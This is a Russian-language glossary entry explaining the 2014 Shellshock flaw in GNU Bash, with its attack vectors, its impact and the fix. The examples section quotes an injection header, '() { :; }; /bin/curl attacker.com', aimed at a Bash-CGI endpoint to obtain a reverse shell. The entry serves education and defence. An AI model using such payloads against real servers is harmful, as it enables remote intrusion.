CyberGlossary

Уязвимости

Shellshock (CVE-2014-6271)

Также известно как: Bashdoor, CVE-2014-6271

Определение

Уязвимость GNU Bash 2014 года, позволявшая выполнять произвольные команды через специально сконструированные переменные окружения, передаваемые в Bash другими программами.

Shellshock (CVE-2014-6271 и связанный CVE-2014-7169) — дефект разбора определений функций, хранящихся в переменных окружения GNU Bash: команды после тела функции выполнялись при запуске оболочки. Поскольку многие сервисы — CGI-скрипты, DHCP-клиенты, OpenSSH ForceCommand, qmail — вызывали Bash с переменными, контролируемыми атакующим, удалённая эксплуатация была тривиальной, часто от имени root. Раскрытие 2014 года вызвало глобальную волну патчей и массовую эксплуатацию ботнетами, веб-шеллами и червями. Исправление: обновить Bash до пропатченных версий, отказаться от устаревших Bash-CGI, применять эшелонированную защиту — снижение привилегий и ограничение передачи переменных окружения.

Примеры

  • Отправка User-Agent: () { :; }; /bin/curl attacker.com на Bash-CGI endpoint для получения reverse shell.
  • Эксплуатация DHCP-клиента, передающего строки опций в окружение Bash-хука.

Связанные термины